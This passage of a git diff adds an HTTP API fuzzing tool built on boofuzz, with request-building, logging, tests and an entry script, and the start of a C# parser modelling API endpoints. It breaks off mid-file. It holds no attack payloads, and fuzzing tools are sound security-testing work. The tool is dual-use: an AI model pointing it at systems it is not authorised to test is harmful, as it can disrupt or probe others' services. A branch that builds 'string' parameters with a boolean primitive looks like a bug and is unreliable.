fuzzer/src/request_build_helper.py
Normal file
101
fuzzer/src/request_build_helper.py
Normal file
@@ -0,0 +1,101 @@
|
||||
import json
|
||||
from boofuzz import s_static, s_size
|
||||
from fuzz_payloads import s_http_string, s_http_number, s_http_boolean
|
||||
from encodings_helper import EncodingTypes
|
||||
from parameter import Parameter
|
||||
|
||||
|
||||
class RequestBuildHelper(object):
|
||||
|
||||
# Content-length and Host are mandatory
|
||||
@staticmethod
|
||||
def generate_headers(config):
|
||||
# Append headers from config
|
||||
headers = config["headers"]
|
||||
if headers is not None:
|
||||
for key, value in headers.items():
|
||||
s_static(key + ": " + value)
|
||||
s_static("\r\n")
|
||||
|
||||
# Append host, if it is not provided in config
|
||||
if not RequestBuildHelper._is_header_in_config(headers, "Host"):
|
||||
s_static("Host: " + config["target"]["hostname"])
|
||||
s_static("\r\n")
|
||||
|
||||
# Append content-length, if it is not provided in config
|
||||
if not RequestBuildHelper._is_header_in_config(headers, "Content-Length"):
|
||||
s_static('Content-Length: ')
|
||||
# s_size calculates the byte length of Boofuzz block with name "body",
|
||||
# which contains whole HTTP request content part. with actual mutation.
|
||||
s_size("body", output_format="ascii", fuzzable=False)
|
||||
|
||||
@staticmethod
|
||||
def _is_header_in_config(headers, header_name):
|
||||
return headers is not None and header_name in headers
|
||||
|
||||
@staticmethod
|
||||
def generate_uri(uri, uri_parameters, config, fuzzable=False):
|
||||
fixed_attributes = config["fixed_url_attributes"] if "fixed_url_attributes" in config else None
|
||||
id_generator = _unique_uri_attribute_id()
|
||||
|
||||
while True:
|
||||
try:
|
||||
# Find first not yet found parameter, if there is one
|
||||
index = uri.index("{")
|
||||
prefix = uri[0:index]
|
||||
s_http_string(prefix, fuzzable=False, encoding=EncodingTypes.ascii)
|
||||
uri = uri[index + 1:]
|
||||
index = uri.index("}")
|
||||
parameter_name = uri[0:index]
|
||||
|
||||
parameter: Parameter = RequestBuildHelper._get_parameter(parameter_name, fixed_attributes, uri_parameters)
|
||||
name = "URI attribute, default value: " + parameter.value + ", id: " + next(id_generator)
|
||||
is_part_fuzzable = fuzzable and not parameter.is_from_config
|
||||
|
||||
if parameter.data_type and (parameter.data_type == 'integer' or parameter.data_type == 'number'):
|
||||
s_http_number(parameter.value, fuzzable=is_part_fuzzable, encoding=EncodingTypes.urlencoded, name=name)
|
||||
elif parameter.data_type and parameter.data_type == 'string':
|
||||
s_http_boolean(parameter.value, fuzzable=is_part_fuzzable, encoding=EncodingTypes.urlencoded, name=name)
|
||||
else:
|
||||
s_http_string(parameter.value, fuzzable=is_part_fuzzable, encoding=EncodingTypes.urlencoded, name=name)
|
||||
|
||||
uri = uri[index + 1:]
|
||||
except ValueError:
|
||||
if len(uri) > 0:
|
||||
name = "URI attribute, default value: " + uri + ", id: " + next(id_generator)
|
||||
s_http_string(uri, fuzzable=False, encoding=EncodingTypes.ascii, name=name)
|
||||
break
|
||||
|
||||
# Getting parameter value from these sources (ordered):
|
||||
# 1] Fixed attributes from config
|
||||
# 2] Example value from documentation
|
||||
# 3] Placeholder 'attribute'
|
||||
@staticmethod
|
||||
def _get_parameter(parameter_name, fixed_attributes, uri_parameters) -> Parameter:
|
||||
if fixed_attributes is not None and parameter_name in fixed_attributes:
|
||||
return Parameter(parameter_name, fixed_attributes[parameter_name], None, None, True)
|
||||
elif any(parameter["Name"] == parameter_name for parameter in uri_parameters):
|
||||
for parameter in uri_parameters:
|
||||
if parameter["Name"] == parameter_name:
|
||||
return Parameter(parameter_name, parameter["ExampleValue"], parameter["Type"], parameter["Format"], False)
|
||||
else:
|
||||
return Parameter(parameter_name, 'attribute', None, None, False)
|
||||
|
||||
@staticmethod
|
||||
def is_string_valid_json(input_string: str) -> bool:
|
||||
try:
|
||||
json.loads(input_string)
|
||||
return True
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def get_request_name(uri, method_type) -> str:
|
||||
return uri + ", " + method_type
|
||||
|
||||
|
||||
def _unique_uri_attribute_id():
|
||||
sequence = 0
|
||||
while True:
|
||||
yield str(sequence)
|
||||
sequence += 1
|
||||
46
fuzzer/src/text_logger.py
Normal file
46
fuzzer/src/text_logger.py
Normal file
@@ -0,0 +1,46 @@
|
||||
from boofuzz import FuzzLoggerText, helpers
|
||||
from fake_socket import get_response_object
|
||||
|
||||
|
||||
class TextLogger(FuzzLoggerText):
|
||||
def open_test_step(self, description):
|
||||
self._print_log_msg(msg=description, msg_type='step')
|
||||
|
||||
def log_check(self, description):
|
||||
self._print_log_msg(msg=description, msg_type='check')
|
||||
|
||||
def log_error(self, description):
|
||||
self._print_log_msg(msg=description, msg_type='error')
|
||||
|
||||
# Log full response just when it is needed
|
||||
def log_recv(self, data):
|
||||
response = get_response_object(data)
|
||||
if response is None or response.status >= 300:
|
||||
self._print_log_msg(data=data, msg_type='receive')
|
||||
else:
|
||||
message = "Returned status code " + str(response.status) + ", received message omitted."
|
||||
self._print_log_msg(msg=message, msg_type='info')
|
||||
|
||||
def log_send(self, data):
|
||||
self._print_log_msg(data=data, msg_type='send')
|
||||
|
||||
def log_info(self, description):
|
||||
pass
|
||||
|
||||
def open_test_case(self, test_case_id, name, index, *args, **kwargs):
|
||||
self._print_log_msg(msg=test_case_id, msg_type='test_case')
|
||||
|
||||
def log_fail(self, description=""):
|
||||
self._print_log_msg(msg=description, msg_type='fail')
|
||||
|
||||
def log_pass(self, description=""):
|
||||
self._print_log_msg(msg=description, msg_type='pass')
|
||||
|
||||
def close_test_case(self):
|
||||
print()
|
||||
|
||||
def close_test(self):
|
||||
pass
|
||||
|
||||
def _print_log_msg(self, msg_type, msg=None, data=None):
|
||||
print(helpers.format_log_msg(msg_type=msg_type, description=msg, data=data, indent_size=self.INDENT_SIZE))
|
||||
113
fuzzer/src/unit_tests/fuzzing_json_decoder_tests.py
Normal file
113
fuzzer/src/unit_tests/fuzzing_json_decoder_tests.py
Normal file
@@ -0,0 +1,113 @@
|
||||
import unittest
|
||||
import json
|
||||
from boofuzz import *
|
||||
from fuzzing_json_decoder import FuzzingJsonDecoder
|
||||
from fuzz_payloads import FuzzPayloads
|
||||
|
||||
|
||||
class FuzzingJsonDecoderTests(unittest.TestCase):
|
||||
def setUp(self):
|
||||
# Just init block for boofuzz
|
||||
s_initialize(self.id())
|
||||
|
||||
# Generate at least few payloads for at least minimum number of mutations
|
||||
FuzzPayloads.add_payload_to_list("payload 1", FuzzPayloads.CUSTOM_PAYLOADS_KEY)
|
||||
FuzzPayloads.add_payload_to_list("payload 2", FuzzPayloads.CUSTOM_PAYLOADS_KEY)
|
||||
|
||||
def __json_equality_assertion(self, original_json, generated_json):
|
||||
self.assertDictEqual(json.loads(original_json), json.loads(generated_json))
|
||||
|
||||
def test_empty_dict(self):
|
||||
# Prepare
|
||||
original_json = '{}'
|
||||
|
||||
# Action
|
||||
decoder = FuzzingJsonDecoder(False)
|
||||
decoder.decode_dict(json.loads(original_json))
|
||||
decoder.generate_mutations()
|
||||
generated_json = s_render()
|
||||
|
||||
# Assert
|
||||
self.__json_equality_assertion(original_json, generated_json)
|
||||
|
||||
def test_empty_list(self):
|
||||
# Prepare
|
||||
original_json = '{"array": []}'
|
||||
|
||||
# Action
|
||||
decoder = FuzzingJsonDecoder(False)
|
||||
decoder.decode_dict(json.loads(original_json))
|
||||
decoder.generate_mutations()
|
||||
generated_json = s_render()
|
||||
|
||||
# Assert
|
||||
self.__json_equality_assertion(original_json, generated_json)
|
||||
|
||||
def test_dict_primitives(self):
|
||||
# Prepare
|
||||
original_json = '{"array": [{"primitives": {"1": 1, "2": 1e1, "3": false, "4": null}}]}'
|
||||
|
||||
# Action
|
||||
decoder = FuzzingJsonDecoder(False)
|
||||
decoder.decode_dict(json.loads(original_json))
|
||||
decoder.generate_mutations()
|
||||
generated_json = s_render()
|
||||
|
||||
# Assert
|
||||
self.__json_equality_assertion(original_json, generated_json)
|
||||
|
||||
def test_nested_dict(self):
|
||||
# Prepare
|
||||
original_json = '{ "problems": [{ "Diabetes":[{ "medications":[{ "medicationsClasses":[{ "className":[{ "associatedDrug":[{ "name":"asprin", "dose":"", "strength":"500 mg" }], "associatedDrug#2":[{ "name":"somethingElse", "dose":"", "strength":"500 mg" }] }], "className2":[{ "associatedDrug":[{ "name":"asprin", "dose":"", "strength":"500 mg" }], "associatedDrug#2":[{ "name":"somethingElse", "dose":"", "strength":"500 mg" }] }] }] }], "labs":[{ "missing_field": "missing_value" }] }], "Asthma":[{}] }]}'
|
||||
|
||||
# Action
|
||||
decoder = FuzzingJsonDecoder(False)
|
||||
decoder.decode_dict(json.loads(original_json))
|
||||
decoder.generate_mutations()
|
||||
generated_json = s_render()
|
||||
|
||||
# Assert
|
||||
self.__json_equality_assertion(original_json, generated_json)
|
||||
|
||||
def test_huge_dict(self):
|
||||
# Prepare
|
||||
original_json = ' { "medications":[{ "aceInhibitors":[{ "name":"lisinopril", "strength":"10 mg Tab", "dose":"1 tab", "route":"PO", "sig":"daily", "pillCount":"#90", "refills":"Refill 3" }], "antianginal":[{ "name":"nitroglycerin", "strength":"0.4 mg Sublingual Tab", "dose":"1 tab", "route":"SL", "sig":"q15min PRN", "pillCount":"#30", "refills":"Refill 1" }], "anticoagulants":[{ "name":"warfarin sodium", "strength":"3 mg Tab", "dose":"1 tab", "route":"PO", "sig":"daily", "pillCount":"#90", "refills":"Refill 3" }], "betaBlocker":[{ "name":"metoprolol tartrate", "strength":"25 mg Tab", "dose":"1 tab", "route":"PO", "sig":"daily", "pillCount":"#90", "refills":"Refill 3" }], "diuretic":[{ "name":"furosemide", "strength":"40 mg Tab", "dose":"1 tab", "route":"PO", "sig":"daily", "pillCount":"#90", "refills":"Refill 3" }], "mineral":[{ "name":"potassium chloride ER", "strength":"10 mEq Tab", "dose":"1 tab", "route":"PO", "sig":"daily", "pillCount":"#90", "refills":"Refill 3" }] } ], "labs":[{ "name":"Arterial Blood Gas", "time":"Today", "location":"Main Hospital Lab" }, { "name":"BMP", "time":"Today", "location":"Primary Care Clinic" }, { "name":"BNP", "time":"3 Weeks", "location":"Primary Care Clinic" }, { "name":"BUN", "time":"1 Year", "location":"Primary Care Clinic" }, { "name":"Cardiac Enzymes", "time":"Today", "location":"Primary Care Clinic" }, { "name":"CBC", "time":"1 Year", "location":"Primary Care Clinic" }, { "name":"Creatinine", "time":"1 Year", "location":"Main Hospital Lab" }, { "name":"Electrolyte Panel", "time":"1 Year", "location":"Primary Care Clinic" }, { "name":"Glucose", "time":"1 Year", "location":"Main Hospital Lab" }, { "name":"PT/INR", "time":"3 Weeks", "location":"Primary Care Clinic" }, { "name":"PTT", "time":"3 Weeks", "location":"Coumadin Clinic" }, { "name":"TSH", "time":"1 Year", "location":"Primary Care Clinic" } ], "imaging":[{ "name":"Chest X-Ray", "time":"Today", "location":"Main Hospital Radiology" }, { "name":"Chest X-Ray", "time":"Today", "location":"Main Hospital Radiology" }, { "name":"Chest X-Ray", "time":"Today", "location":"Main Hospital Radiology" } ] }'
|
||||
|
||||
# Action
|
||||
decoder = FuzzingJsonDecoder(False)
|
||||
decoder.decode_dict(json.loads(original_json))
|
||||
decoder.generate_mutations()
|
||||
generated_json = s_render()
|
||||
|
||||
# Assert
|
||||
self.__json_equality_assertion(original_json, generated_json)
|
||||
|
||||
def test_dicts_in_array(self):
|
||||
# Prepare
|
||||
original_json = '{ "one": { "two": [{ "four": { "name": "four1_name" } }, { "four": { "name": "four2_name" } }] } }'
|
||||
|
||||
# Action
|
||||
decoder = FuzzingJsonDecoder(False)
|
||||
decoder.decode_dict(json.loads(original_json))
|
||||
decoder.generate_mutations()
|
||||
generated_json = s_render()
|
||||
|
||||
# Assert
|
||||
self.__json_equality_assertion(original_json, generated_json)
|
||||
|
||||
def test_that_quotation_marks_are_not_added_into_default_values(self):
|
||||
# Prepare
|
||||
original_json = '{ "one": false, "two": 0 }'
|
||||
|
||||
# Action
|
||||
decoder = FuzzingJsonDecoder(True)
|
||||
decoder.decode_dict(json.loads(original_json))
|
||||
decoder.generate_mutations()
|
||||
generated_json = s_render()
|
||||
|
||||
# Assert
|
||||
self.__json_equality_assertion(original_json, generated_json)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
68
fuzzer/src/unit_tests/json_schema_parser_tests.py
Normal file
68
fuzzer/src/unit_tests/json_schema_parser_tests.py
Normal file
@@ -0,0 +1,68 @@
|
||||
import unittest
|
||||
import json
|
||||
from json_schema_parser import generate_json_dict_from_schema
|
||||
|
||||
|
||||
class FuzzingJsonDecoderTests(unittest.TestCase):
|
||||
|
||||
def test_single_bool_primitive(self):
|
||||
# Prepare
|
||||
original_json_schema = '{"test": {"Title": null,"Type": "boolean","Format": null,"Example": null}}'
|
||||
loaded_json_schema = json.loads(original_json_schema)
|
||||
|
||||
# Action
|
||||
generated_json = generate_json_dict_from_schema(loaded_json_schema)
|
||||
|
||||
# Assert
|
||||
self.assertTrue("test" in generated_json)
|
||||
self.assertTrue(isinstance(generated_json["test"], bool))
|
||||
self.assertEqual(generated_json["test"], True)
|
||||
|
||||
def test_nested_string_primitive_with_example(self):
|
||||
# Prepare
|
||||
original_json_schema = '{"test": {"nested": {"Title": null,"Type": "string","Format": null,"Example": "example"}}}'
|
||||
loaded_json_schema = json.loads(original_json_schema)
|
||||
|
||||
# Action
|
||||
generated_json = generate_json_dict_from_schema(loaded_json_schema)
|
||||
|
||||
# Assert
|
||||
self.assertTrue("test" in generated_json)
|
||||
self.assertTrue("nested" in generated_json["test"])
|
||||
self.assertTrue(isinstance(generated_json["test"]["nested"], str))
|
||||
self.assertEqual(generated_json["test"]["nested"], "example")
|
||||
|
||||
def test_array_with_primitive(self):
|
||||
# Prepare
|
||||
original_json_schema = '{"test": {"Type": "array","ArrayItemSchema": {"Title": null,"Type": "number","Format": "double","Example": null}}}'
|
||||
loaded_json_schema = json.loads(original_json_schema)
|
||||
|
||||
# Action
|
||||
generated_json = generate_json_dict_from_schema(loaded_json_schema)
|
||||
|
||||
# Assert
|
||||
self.assertTrue("test" in generated_json)
|
||||
self.assertTrue(isinstance(generated_json["test"], list))
|
||||
self.assertTrue(isinstance(generated_json["test"][0], float))
|
||||
self.assertEqual(generated_json["test"][0], 0.0)
|
||||
|
||||
def test_array_with_complex_object(self):
|
||||
# Prepare
|
||||
original_json_schema = '{"test": {"Type": "array","ArrayItemSchema": {"nested1": {"Title": null,"Type": "string","Format": null,"Example": "example"},"nested2": {"Title": null,"Type": "integer","Format": null,"Example": null}}}}'
|
||||
loaded_json_schema = json.loads(original_json_schema)
|
||||
|
||||
# Action
|
||||
generated_json = generate_json_dict_from_schema(loaded_json_schema)
|
||||
|
||||
# Assert
|
||||
self.assertTrue("test" in generated_json)
|
||||
self.assertTrue(isinstance(generated_json["test"], list))
|
||||
self.assertTrue(isinstance(generated_json["test"][0], dict))
|
||||
self.assertTrue("nested1" in generated_json["test"][0])
|
||||
self.assertTrue("nested2" in generated_json["test"][0])
|
||||
self.assertEqual(generated_json["test"][0]["nested1"], "example")
|
||||
self.assertEqual(generated_json["test"][0]["nested2"], 0)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
42
fuzzer/src/wfuzz.py
Normal file
42
fuzzer/src/wfuzz.py
Normal file
@@ -0,0 +1,42 @@
|
||||
import sys
|
||||
import json
|
||||
from fuzz_payloads import FuzzPayloads
|
||||
from text_logger import TextLogger
|
||||
from junit_logger import JUnitLogger
|
||||
from payloads.payloads_loader import PayloadsLoader, load_default_payloads
|
||||
from configuration_manager import ConfigurationManager
|
||||
from fuzzer import Fuzzer
|
||||
|
||||
|
||||
def main():
|
||||
config_file_path = sys.argv[1]
|
||||
endpoints_description = sys.argv[2]
|
||||
junit_output = sys.argv[3]
|
||||
custom_payloads_path = sys.argv[4] if len(sys.argv) == 5 else None
|
||||
|
||||
with open(config_file_path, 'r') as config_file_pointer:
|
||||
ConfigurationManager(config_file_pointer)
|
||||
|
||||
target = ConfigurationManager.config["target"]
|
||||
|
||||
# Load and generate default payloads
|
||||
load_default_payloads(target["hostname"])
|
||||
|
||||
# If user specified file with custom payloads, we add them to our mutations
|
||||
payloads_loader = PayloadsLoader(target["hostname"])
|
||||
payloads_loader.load_payloads(custom_payloads_path, FuzzPayloads.CUSTOM_PAYLOADS_KEY)
|
||||
|
||||
with open(junit_output, 'w', encoding='utf8') as junit_output_file_pointer:
|
||||
text_logger = TextLogger()
|
||||
junit_logger = JUnitLogger(junit_output_file_pointer, test_suite_name_delimiter=":", hostname=target["hostname"])
|
||||
protocol = 'ssl' if target["ssl"] is True else 'tcp'
|
||||
|
||||
with open(endpoints_description, 'r') as endpoints_description_file_pointer:
|
||||
endpoints = json.loads(endpoints_description_file_pointer.read())
|
||||
|
||||
fuzzer = Fuzzer(endpoints, [text_logger, junit_logger], protocol)
|
||||
fuzzer.fuzz()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
63
parser/.gitattributes
vendored
Normal file
63
parser/.gitattributes
vendored
Normal file
@@ -0,0 +1,63 @@
|
||||
###############################################################################
|
||||
# Set default behavior to automatically normalize line endings.
|
||||
###############################################################################
|
||||
* text=auto
|
||||
|
||||
###############################################################################
|
||||
# Set default behavior for command prompt diff.
|
||||
#
|
||||
# This is need for earlier builds of msysgit that does not have it on by
|
||||
# default for csharp files.
|
||||
# Note: This is only used by command line
|
||||
###############################################################################
|
||||
#*.cs diff=csharp
|
||||
|
||||
###############################################################################
|
||||
# Set the merge driver for project and solution files
|
||||
#
|
||||
# Merging from the command prompt will add diff markers to the files if there
|
||||
# are conflicts (Merging from VS is not affected by the settings below, in VS
|
||||
# the diff markers are never inserted). Diff markers may cause the following
|
||||
# file extensions to fail to load in VS. An alternative would be to treat
|
||||
# these files as binary and thus will always conflict and require user
|
||||
# intervention with every merge. To do so, just uncomment the entries below
|
||||
###############################################################################
|
||||
#*.sln merge=binary
|
||||
#*.csproj merge=binary
|
||||
#*.vbproj merge=binary
|
||||
#*.vcxproj merge=binary
|
||||
#*.vcproj merge=binary
|
||||
#*.dbproj merge=binary
|
||||
#*.fsproj merge=binary
|
||||
#*.lsproj merge=binary
|
||||
#*.wixproj merge=binary
|
||||
#*.modelproj merge=binary
|
||||
#*.sqlproj merge=binary
|
||||
#*.wwaproj merge=binary
|
||||
|
||||
###############################################################################
|
||||
# behavior for image files
|
||||
#
|
||||
# image files are treated as binary by default.
|
||||
###############################################################################
|
||||
#*.jpg binary
|
||||
#*.png binary
|
||||
#*.gif binary
|
||||
|
||||
###############################################################################
|
||||
# diff behavior for common document formats
|
||||
#
|
||||
# Convert binary document formats to text before diffing them. This feature
|
||||
# is only available from the command line. Turn it on by uncommenting the
|
||||
# entries below.
|
||||
###############################################################################
|
||||
#*.doc diff=astextplain
|
||||
#*.DOC diff=astextplain
|
||||
#*.docx diff=astextplain
|
||||
#*.DOCX diff=astextplain
|
||||
#*.dot diff=astextplain
|
||||
#*.DOT diff=astextplain
|
||||
#*.pdf diff=astextplain
|
||||
#*.PDF diff=astextplain
|
||||
#*.rtf diff=astextplain
|
||||
#*.RTF diff=astextplain
|
||||
265
parser/.gitignore
vendored
Normal file
265
parser/.gitignore
vendored
Normal file
@@ -0,0 +1,265 @@
|
||||
## Custom ignores
|
||||
*.json
|
||||
|
||||
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
|
||||
# User-specific files
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
|
||||
# Visual Studio 2015 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUNIT
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# DNX
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_i.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# JustCode is a .NET coding add-in
|
||||
.JustCode
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# TODO: Comment the next line if you want to checkin your web deploy settings
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
#*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/packages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/packages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/packages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignoreable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
node_modules/
|
||||
orleans.codegen.cs
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# JetBrains Rider
|
||||
.idea/
|
||||
*.sln.iml
|
||||
|
||||
# CodeRush
|
||||
.cr/
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
29
parser/Models/Endpoint.cs
Normal file
29
parser/Models/Endpoint.cs
Normal file
@@ -0,0 +1,29 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Models
|
||||
{
|
||||
public class Endpoint
|
||||
{
|
||||
public string Uri { get; }
|
||||
public List<Request> Requests { get; } = new List<Request>();
|
||||
|
||||
public Endpoint(string uri)
|
||||
{
|
||||
Uri = uri;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
StringBuilder builder = new StringBuilder();
|
||||
builder.Append("Uri: ");
|
||||
builder.AppendLine(Uri);
|
||||
builder.AppendLine("Requests: ");
|
||||
foreach (var request in Requests)
|
||||
{
|
||||
builder.AppendLine(request.ToString());
|
||||
}
|
||||
return builder.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
7
parser/Models/Models.csproj
Normal file
7
parser/Models/Models.csproj
Normal file
@@ -0,0 +1,7 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<TargetFramework>netcoreapp2.1</TargetFramework>
|
||||
</PropertyGroup>
|
||||
|
||||
</Project>
|
||||
43
parser/Models/Request.cs
Normal file
43
parser/Models/Request.cs
Normal file
@@ -0,0 +1,43 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Models
|
||||
{
|
||||
public class Request
|
||||
{
|
||||
public string Method { get; }
|
||||
public string Summary { get; set; }
|
||||
public List<UriAttribute> UriAttributes { get; set; }
|
||||
public List<Response> Responses { get; set; }
|
||||
public string BodyExample { get; set; }
|
||||
|
||||
public Dictionary<string, object> BodySchema { get; set; }
|
||||
|
||||
public Request(string method)
|
||||
{
|
||||
Method = method;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
StringBuilder builder = new StringBuilder();
|
||||
builder.Append("Type: ");
|
||||
builder.AppendLine(Method);
|
||||
builder.Append("Summary: ");
|
||||
builder.AppendLine(Summary);
|
||||
builder.AppendLine("Uri Attributes: ");
|
||||
foreach (var attribute in UriAttributes)
|
||||
{
|
||||
builder.AppendLine(attribute.ToString());
|
||||
}
|
||||
builder.AppendLine("Responses: ");
|
||||
foreach (var response in Responses)
|
||||
{
|
||||
builder.AppendLine(response.ToString());
|
||||
}
|
||||
builder.Append("BodyExample: ");
|
||||
builder.AppendLine(BodyExample);
|
||||
return builder.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
15
parser/Models/Response.cs
Normal file
15
parser/Models/Response.cs
Normal file
@@ -0,0 +1,15 @@
|
||||
using System;
|
||||
|
||||
namespace Models
|
||||
{
|
||||
public class Response
|
||||
{
|
||||
public int StatusCode { get; set; }
|
||||
public string Example { get; set; }
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return $"Status code: {StatusCode}{Environment.NewLine}Example: {Example}";
|
||||
}
|
||||
}
|
||||
}
|
||||
25
parser/Models/UriAttribute.cs
Normal file
25
parser/Models/UriAttribute.cs
Normal file
@@ -0,0 +1,25 @@
|
||||
using System;
|
||||
|
||||
namespace Models
|
||||
{
|
||||
public class UriAttribute
|
||||
{
|
||||
public string Name { get; }
|
||||
public bool Required { get; }
|
||||
public string ExampleValue { get; set; }
|
||||
|
||||
public string Type { get; set; }
|
||||
public string Format { get; set; }
|
||||
|
||||
public UriAttribute(string name, bool required)
|
||||
{
|
||||
Name = name;
|
||||
Required = required;
|
||||
}
|
||||
|
||||
public override string ToString()
